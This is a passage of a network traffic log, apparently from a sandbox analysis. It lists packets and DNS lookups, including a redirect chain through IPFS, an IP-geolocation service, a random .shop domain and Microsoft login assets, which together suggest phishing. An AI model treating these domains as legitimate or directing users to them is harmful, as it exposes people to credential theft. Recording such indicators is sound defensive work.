May 27, 2024 19:30:45.905481100 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.905572891 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.905611992 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.905626059 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.905684948 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.905697107 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.910969973 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.911056042 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.911076069 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.911170006 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.911228895 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.911258936 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.916770935 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.916874886 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.916888952 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.916985989 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.917047024 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.917059898 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.917144060 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.917201996 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.917215109 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.923902988 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.923994064 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.923995018 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.924020052 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.924073935 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.924108028 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.926903009 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.926989079 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.927000999 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.927016973 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.927071095 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.928337097 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.930762053 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.930844069 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.930852890 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.930876017 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.930937052 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.932728052 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.935256958 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.935327053 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.935340881 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.937027931 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.937125921 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.937139034 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.939399004 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.939470053 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.939482927 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.939572096 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.939636946 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.939649105 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.946639061 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.946723938 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.946732044 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.946754932 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.946814060 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.946844101 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.947098970 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.947186947 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.947187901 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.947211027 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.947263956 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.947339058 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.957420111 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.957561016 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.957575083 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.957650900 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.957706928 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.957719088 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.958225012 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.958287954 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.958301067 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.958388090 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.958442926 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.958456039 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.959503889 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.959574938 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.959588051 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.959675074 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.959732056 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.959743977 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.975224018 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.975330114 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.975383043 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.975404978 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.975562096 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.975563049 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.975585938 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.975653887 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.975727081 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.975884914 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.975903034 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.975974083 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:56.806888103 CEST	55961	443	192.168.2.16	40.68.123.157
May 27, 2024 19:30:56.806947947 CEST	443	55961	40.68.123.157	192.168.2.16
May 27, 2024 19:30:56.807127953 CEST	55961	443	192.168.2.16	40.68.123.157
May 27, 2024 19:30:56.807497025 CEST	55961	443	192.168.2.16	40.68.123.157
May 27, 2024 19:30:56.807512045 CEST	443	55961	40.68.123.157	192.168.2.16
May 27, 2024 19:30:57.618541002 CEST	443	55961	40.68.123.157	192.168.2.16
May 27, 2024 19:30:57.618710041 CEST	55961	443	192.168.2.16	40.68.123.157
May 27, 2024 19:30:57.624340057 CEST	55961	443	192.168.2.16	40.68.123.157
May 27, 2024 19:30:57.624360085 CEST	443	55961	40.68.123.157	192.168.2.16
May 27, 2024 19:30:57.624778986 CEST	443	55961	40.68.123.157	192.168.2.16
May 27, 2024 19:30:57.630428076 CEST	55961	443	192.168.2.16	40.68.123.157
May 27, 2024 19:30:57.674498081 CEST	443	55961	40.68.123.157	192.168.2.16
May 27, 2024 19:30:57.961771965 CEST	443	55961	40.68.123.157	192.168.2.16
May 27, 2024 19:30:57.961837053 CEST	443	55961	40.68.123.157	192.168.2.16
May 27, 2024 19:30:57.961883068 CEST	443	55961	40.68.123.157	192.168.2.16
May 27, 2024 19:30:57.962028027 CEST	55961	443	192.168.2.16	40.68.123.157
May 27, 2024 19:30:57.962094069 CEST	443	55961	40.68.123.157	192.168.2.16
May 27, 2024 19:30:57.962131023 CEST	443	55961	40.68.123.157	192.168.2.16
May 27, 2024 19:30:57.962182045 CEST	55961	443	192.168.2.16	40.68.123.157
May 27, 2024 19:30:57.962209940 CEST	443	55961	40.68.123.157	192.168.2.16
May 27, 2024 19:30:57.962249041 CEST	443	55961	40.68.123.157	192.168.2.16
May 27, 2024 19:30:57.962276936 CEST	55961	443	192.168.2.16	40.68.123.157
May 27, 2024 19:30:57.962276936 CEST	55961	443	192.168.2.16	40.68.123.157
May 27, 2024 19:30:57.962663889 CEST	443	55961	40.68.123.157	192.168.2.16
May 27, 2024 19:30:57.962800026 CEST	55961	443	192.168.2.16	40.68.123.157
May 27, 2024 19:30:57.966556072 CEST	55961	443	192.168.2.16	40.68.123.157
May 27, 2024 19:30:57.966592073 CEST	443	55961	40.68.123.157	192.168.2.16
May 27, 2024 19:30:57.966617107 CEST	55961	443	192.168.2.16	40.68.123.157
May 27, 2024 19:30:57.966633081 CEST	443	55961	40.68.123.157	192.168.2.16
May 27, 2024 19:31:13.368204117 CEST	55963	443	192.168.2.16	142.250.186.68
May 27, 2024 19:31:13.368298054 CEST	443	55963	142.250.186.68	192.168.2.16
May 27, 2024 19:31:13.368558884 CEST	55963	443	192.168.2.16	142.250.186.68
May 27, 2024 19:31:13.368899107 CEST	55963	443	192.168.2.16	142.250.186.68
May 27, 2024 19:31:13.368931055 CEST	443	55963	142.250.186.68	192.168.2.16
May 27, 2024 19:31:14.019790888 CEST	443	55963	142.250.186.68	192.168.2.16
May 27, 2024 19:31:14.020287037 CEST	55963	443	192.168.2.16	142.250.186.68
May 27, 2024 19:31:14.020349026 CEST	443	55963	142.250.186.68	192.168.2.16
May 27, 2024 19:31:14.020822048 CEST	443	55963	142.250.186.68	192.168.2.16
May 27, 2024 19:31:14.021300077 CEST	55963	443	192.168.2.16	142.250.186.68
May 27, 2024 19:31:14.021389008 CEST	443	55963	142.250.186.68	192.168.2.16
May 27, 2024 19:31:14.068686008 CEST	55963	443	192.168.2.16	142.250.186.68
May 27, 2024 19:31:23.920017958 CEST	443	55963	142.250.186.68	192.168.2.16
May 27, 2024 19:31:23.920159101 CEST	443	55963	142.250.186.68	192.168.2.16
May 27, 2024 19:31:23.920666933 CEST	55963	443	192.168.2.16	142.250.186.68
May 27, 2024 19:31:24.783797026 CEST	55963	443	192.168.2.16	142.250.186.68
May 27, 2024 19:31:24.783852100 CEST	443	55963	142.250.186.68	192.168.2.16
May 27, 2024 19:32:13.431121111 CEST	55965	443	192.168.2.16	142.250.184.196
May 27, 2024 19:32:13.431143999 CEST	443	55965	142.250.184.196	192.168.2.16
May 27, 2024 19:32:13.431242943 CEST	55965	443	192.168.2.16	142.250.184.196
May 27, 2024 19:32:13.431600094 CEST	55965	443	192.168.2.16	142.250.184.196
May 27, 2024 19:32:13.431616068 CEST	443	55965	142.250.184.196	192.168.2.16
May 27, 2024 19:32:14.062069893 CEST	443	55965	142.250.184.196	192.168.2.16
May 27, 2024 19:32:14.108911991 CEST	55965	443	192.168.2.16	142.250.184.196

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 27, 2024 19:30:08.497088909 CEST	53	53930	1.1.1.1	192.168.2.16
May 27, 2024 19:30:08.539225101 CEST	59271	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:08.539361954 CEST	55900	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:08.640589952 CEST	53	53738	1.1.1.1	192.168.2.16
May 27, 2024 19:30:09.042193890 CEST	53	55900	1.1.1.1	192.168.2.16
May 27, 2024 19:30:09.060831070 CEST	53	59271	1.1.1.1	192.168.2.16
May 27, 2024 19:30:09.673695087 CEST	53	50017	1.1.1.1	192.168.2.16
May 27, 2024 19:30:10.394171000 CEST	49990	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:10.394223928 CEST	55338	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:10.730600119 CEST	53	49990	1.1.1.1	192.168.2.16
May 27, 2024 19:30:10.733850956 CEST	53	55338	1.1.1.1	192.168.2.16
May 27, 2024 19:30:11.609720945 CEST	60198	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:11.610021114 CEST	55736	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:11.618225098 CEST	53	60198	1.1.1.1	192.168.2.16
May 27, 2024 19:30:11.620107889 CEST	53	55736	1.1.1.1	192.168.2.16
May 27, 2024 19:30:12.742295980 CEST	53	62956	1.1.1.1	192.168.2.16
May 27, 2024 19:30:13.117026091 CEST	60370	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:13.117280006 CEST	61439	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:13.124680996 CEST	53	61439	1.1.1.1	192.168.2.16
May 27, 2024 19:30:13.125037909 CEST	53	60370	1.1.1.1	192.168.2.16
May 27, 2024 19:30:13.309504986 CEST	52887	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:13.309725046 CEST	52258	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:13.317517042 CEST	53	52258	1.1.1.1	192.168.2.16
May 27, 2024 19:30:13.319245100 CEST	53	52887	1.1.1.1	192.168.2.16
May 27, 2024 19:30:26.740737915 CEST	53	61621	1.1.1.1	192.168.2.16
May 27, 2024 19:30:38.057545900 CEST	59592	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:38.057759047 CEST	50210	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:38.058006048 CEST	52689	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:38.058006048 CEST	64058	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:38.064919949 CEST	53	52689	1.1.1.1	192.168.2.16
May 27, 2024 19:30:38.064939022 CEST	53	59592	1.1.1.1	192.168.2.16
May 27, 2024 19:30:38.065206051 CEST	53	64058	1.1.1.1	192.168.2.16
May 27, 2024 19:30:38.065228939 CEST	53	50210	1.1.1.1	192.168.2.16
May 27, 2024 19:30:38.066149950 CEST	137	137	192.168.2.16	192.168.2.255
May 27, 2024 19:30:38.819645882 CEST	137	137	192.168.2.16	192.168.2.255
May 27, 2024 19:30:39.077028990 CEST	51646	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:39.077207088 CEST	52978	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:39.088474989 CEST	53	51646	1.1.1.1	192.168.2.16
May 27, 2024 19:30:39.089276075 CEST	53	52978	1.1.1.1	192.168.2.16
May 27, 2024 19:30:39.583659887 CEST	137	137	192.168.2.16	192.168.2.255
May 27, 2024 19:30:40.048016071 CEST	65452	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:40.048226118 CEST	54892	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:40.048660994 CEST	59435	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:40.048785925 CEST	59689	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:40.055067062 CEST	53	65452	1.1.1.1	192.168.2.16
May 27, 2024 19:30:40.058124065 CEST	53	54892	1.1.1.1	192.168.2.16
May 27, 2024 19:30:40.069324970 CEST	53	59435	1.1.1.1	192.168.2.16
May 27, 2024 19:30:40.072240114 CEST	53	59689	1.1.1.1	192.168.2.16
May 27, 2024 19:30:42.769485950 CEST	50975	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:42.769926071 CEST	57113	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:42.786154032 CEST	53	50975	1.1.1.1	192.168.2.16
May 27, 2024 19:30:42.804904938 CEST	53	57113	1.1.1.1	192.168.2.16
May 27, 2024 19:30:42.822047949 CEST	65027	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:42.822192907 CEST	50179	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:42.829056978 CEST	53	65027	1.1.1.1	192.168.2.16
May 27, 2024 19:30:42.831908941 CEST	53	50179	1.1.1.1	192.168.2.16
May 27, 2024 19:30:42.932003975 CEST	53	55254	1.1.1.1	192.168.2.16
May 27, 2024 19:30:43.638492107 CEST	53884	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:43.638705969 CEST	59877	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:43.645445108 CEST	53	59877	1.1.1.1	192.168.2.16
May 27, 2024 19:30:43.647398949 CEST	53	53884	1.1.1.1	192.168.2.16
May 27, 2024 19:30:44.010910988 CEST	60733	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:44.011122942 CEST	60318	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:44.018024921 CEST	53	60733	1.1.1.1	192.168.2.16
May 27, 2024 19:30:44.018899918 CEST	53	60318	1.1.1.1	192.168.2.16
May 27, 2024 19:30:44.574909925 CEST	53630	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:44.575048923 CEST	59300	53	192.168.2.16	1.1.1.1
May 27, 2024 19:30:44.583014965 CEST	53	53630	1.1.1.1	192.168.2.16
May 27, 2024 19:30:44.583050966 CEST	53	59300	1.1.1.1	192.168.2.16
May 27, 2024 19:30:45.366266012 CEST	53	50410	1.1.1.1	192.168.2.16
May 27, 2024 19:30:52.014175892 CEST	53	53090	1.1.1.1	192.168.2.16
May 27, 2024 19:31:08.249761105 CEST	53	51337	1.1.1.1	192.168.2.16
May 27, 2024 19:31:08.489939928 CEST	53	59895	1.1.1.1	192.168.2.16
May 27, 2024 19:31:18.139971972 CEST	138	138	192.168.2.16	192.168.2.255
May 27, 2024 19:31:37.436940908 CEST	53	60156	1.1.1.1	192.168.2.16
May 27, 2024 19:32:13.423171043 CEST	60295	53	192.168.2.16	1.1.1.1
May 27, 2024 19:32:13.423384905 CEST	62408	53	192.168.2.16	1.1.1.1
May 27, 2024 19:32:13.430339098 CEST	53	62408	1.1.1.1	192.168.2.16
May 27, 2024 19:32:13.430382013 CEST	53	60295	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
May 27, 2024 19:30:42.804997921 CEST	192.168.2.16	1.1.1.1	c243	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 27, 2024 19:30:08.539225101 CEST	192.168.2.16	1.1.1.1	0xd867	Standard query (0)	www.kooss.com	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:08.539361954 CEST	192.168.2.16	1.1.1.1	0xe056	Standard query (0)	www.kooss.com	65	IN (0x0001)	false
May 27, 2024 19:30:10.394171000 CEST	192.168.2.16	1.1.1.1	0x5fa6	Standard query (0)	maplebearrabat.com	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:10.394223928 CEST	192.168.2.16	1.1.1.1	0x5441	Standard query (0)	maplebearrabat.com	65	IN (0x0001)	false
May 27, 2024 19:30:11.609720945 CEST	192.168.2.16	1.1.1.1	0xa9f4	Standard query (0)	cloudflare-ipfs.com	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:11.610021114 CEST	192.168.2.16	1.1.1.1	0xc260	Standard query (0)	cloudflare-ipfs.com	65	IN (0x0001)	false
May 27, 2024 19:30:13.117026091 CEST	192.168.2.16	1.1.1.1	0xd665	Standard query (0)	cloudflare-ipfs.com	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:13.117280006 CEST	192.168.2.16	1.1.1.1	0x1a55	Standard query (0)	cloudflare-ipfs.com	65	IN (0x0001)	false
May 27, 2024 19:30:13.309504986 CEST	192.168.2.16	1.1.1.1	0xf42	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:13.309725046 CEST	192.168.2.16	1.1.1.1	0x1e56	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 27, 2024 19:30:38.057545900 CEST	192.168.2.16	1.1.1.1	0x60ed	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:38.057759047 CEST	192.168.2.16	1.1.1.1	0x344a	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
May 27, 2024 19:30:38.058006048 CEST	192.168.2.16	1.1.1.1	0x3cb8	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:38.058006048 CEST	192.168.2.16	1.1.1.1	0x3e0d	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
May 27, 2024 19:30:39.077028990 CEST	192.168.2.16	1.1.1.1	0xd0b	Standard query (0)	pro.ip-api.com	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:39.077207088 CEST	192.168.2.16	1.1.1.1	0xbd88	Standard query (0)	pro.ip-api.com	65	IN (0x0001)	false
May 27, 2024 19:30:40.048016071 CEST	192.168.2.16	1.1.1.1	0xed20	Standard query (0)	pro.ip-api.com	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:40.048226118 CEST	192.168.2.16	1.1.1.1	0x42aa	Standard query (0)	pro.ip-api.com	65	IN (0x0001)	false
May 27, 2024 19:30:40.048660994 CEST	192.168.2.16	1.1.1.1	0x3070	Standard query (0)	aea14i7zphg.wqqqqop.shop	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:40.048785925 CEST	192.168.2.16	1.1.1.1	0x14e9	Standard query (0)	aea14i7zphg.wqqqqop.shop	65	IN (0x0001)	false
May 27, 2024 19:30:42.769485950 CEST	192.168.2.16	1.1.1.1	0x11bd	Standard query (0)	aea14i7zphg.wqqqqop.shop	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:42.769926071 CEST	192.168.2.16	1.1.1.1	0xb6c6	Standard query (0)	aea14i7zphg.wqqqqop.shop	65	IN (0x0001)	false
May 27, 2024 19:30:42.822047949 CEST	192.168.2.16	1.1.1.1	0xdc7	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:42.822192907 CEST	192.168.2.16	1.1.1.1	0xc61c	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
May 27, 2024 19:30:43.638492107 CEST	192.168.2.16	1.1.1.1	0x1d06	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:43.638705969 CEST	192.168.2.16	1.1.1.1	0x71ee	Standard query (0)	google.com	65	IN (0x0001)	false
May 27, 2024 19:30:44.010910988 CEST	192.168.2.16	1.1.1.1	0x8bf2	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:44.011122942 CEST	192.168.2.16	1.1.1.1	0xc660	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
May 27, 2024 19:30:44.574909925 CEST	192.168.2.16	1.1.1.1	0x86d9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:44.575048923 CEST	192.168.2.16	1.1.1.1	0x1767	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 27, 2024 19:32:13.423171043 CEST	192.168.2.16	1.1.1.1	0x7d83	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 27, 2024 19:32:13.423384905 CEST	192.168.2.16	1.1.1.1	0x749b	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 27, 2024 19:30:09.060831070 CEST	1.1.1.1	192.168.2.16	0xd867	No error (0)	www.kooss.com		140.227.127.195	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:10.730600119 CEST	1.1.1.1	192.168.2.16	0x5fa6	No error (0)	maplebearrabat.com		50.87.153.121	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:11.618225098 CEST	1.1.1.1	192.168.2.16	0xa9f4	No error (0)	cloudflare-ipfs.com		104.17.96.13	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:11.618225098 CEST	1.1.1.1	192.168.2.16	0xa9f4	No error (0)	cloudflare-ipfs.com		104.17.64.14	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:11.620107889 CEST	1.1.1.1	192.168.2.16	0xc260	No error (0)	cloudflare-ipfs.com			65	IN (0x0001)	false
May 27, 2024 19:30:13.125037909 CEST	1.1.1.1	192.168.2.16	0xd665	No error (0)	cloudflare-ipfs.com		104.17.96.13	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:13.125037909 CEST	1.1.1.1	192.168.2.16	0xd665	No error (0)	cloudflare-ipfs.com		104.17.64.14	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:13.317517042 CEST	1.1.1.1	192.168.2.16	0x1e56	No error (0)	www.google.com			65	IN (0x0001)	false
May 27, 2024 19:30:13.319245100 CEST	1.1.1.1	192.168.2.16	0xf42	No error (0)	www.google.com		142.250.186.68	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:38.064919949 CEST	1.1.1.1	192.168.2.16	0x3cb8	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:38.064919949 CEST	1.1.1.1	192.168.2.16	0x3cb8	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:38.064939022 CEST	1.1.1.1	192.168.2.16	0x60ed	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:38.064939022 CEST	1.1.1.1	192.168.2.16	0x60ed	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:38.064939022 CEST	1.1.1.1	192.168.2.16	0x60ed	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:38.064939022 CEST	1.1.1.1	192.168.2.16	0x60ed	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:38.065206051 CEST	1.1.1.1	192.168.2.16	0x3e0d	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
May 27, 2024 19:30:39.088474989 CEST	1.1.1.1	192.168.2.16	0xd0b	No error (0)	pro.ip-api.com		51.77.64.70	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:40.055067062 CEST	1.1.1.1	192.168.2.16	0xed20	No error (0)	pro.ip-api.com		51.77.64.70	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:40.069324970 CEST	1.1.1.1	192.168.2.16	0x3070	No error (0)	aea14i7zphg.wqqqqop.shop		104.21.96.107	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:40.069324970 CEST	1.1.1.1	192.168.2.16	0x3070	No error (0)	aea14i7zphg.wqqqqop.shop		172.67.176.225	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:40.072240114 CEST	1.1.1.1	192.168.2.16	0x14e9	No error (0)	aea14i7zphg.wqqqqop.shop			65	IN (0x0001)	false
May 27, 2024 19:30:42.786154032 CEST	1.1.1.1	192.168.2.16	0x11bd	No error (0)	aea14i7zphg.wqqqqop.shop		104.21.96.107	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:42.786154032 CEST	1.1.1.1	192.168.2.16	0x11bd	No error (0)	aea14i7zphg.wqqqqop.shop		172.67.176.225	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:42.804904938 CEST	1.1.1.1	192.168.2.16	0xb6c6	No error (0)	aea14i7zphg.wqqqqop.shop			65	IN (0x0001)	false
May 27, 2024 19:30:42.829056978 CEST	1.1.1.1	192.168.2.16	0xdc7	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 27, 2024 19:30:42.829056978 CEST	1.1.1.1	192.168.2.16	0xdc7	No error (0)	cs1100.wpc.omegacdn.net		152.199.23.37	A (IP address)	IN (0x0001)	false
May 27, 2024 19:30:42.831908941 CEST	1.1.1.1	192.168.2.16	0xc61c	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 27, 2024 19:30:43.645445108 CEST	1.1.1.1	192.168.2.16	0x71ee	No error (0)	google.com			65	IN (0x0001)	false
May 27, 2024 19:30:43.647398949 CEST	1.1.1.1	192.168.2.16	0x1d06	No error (0)	google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
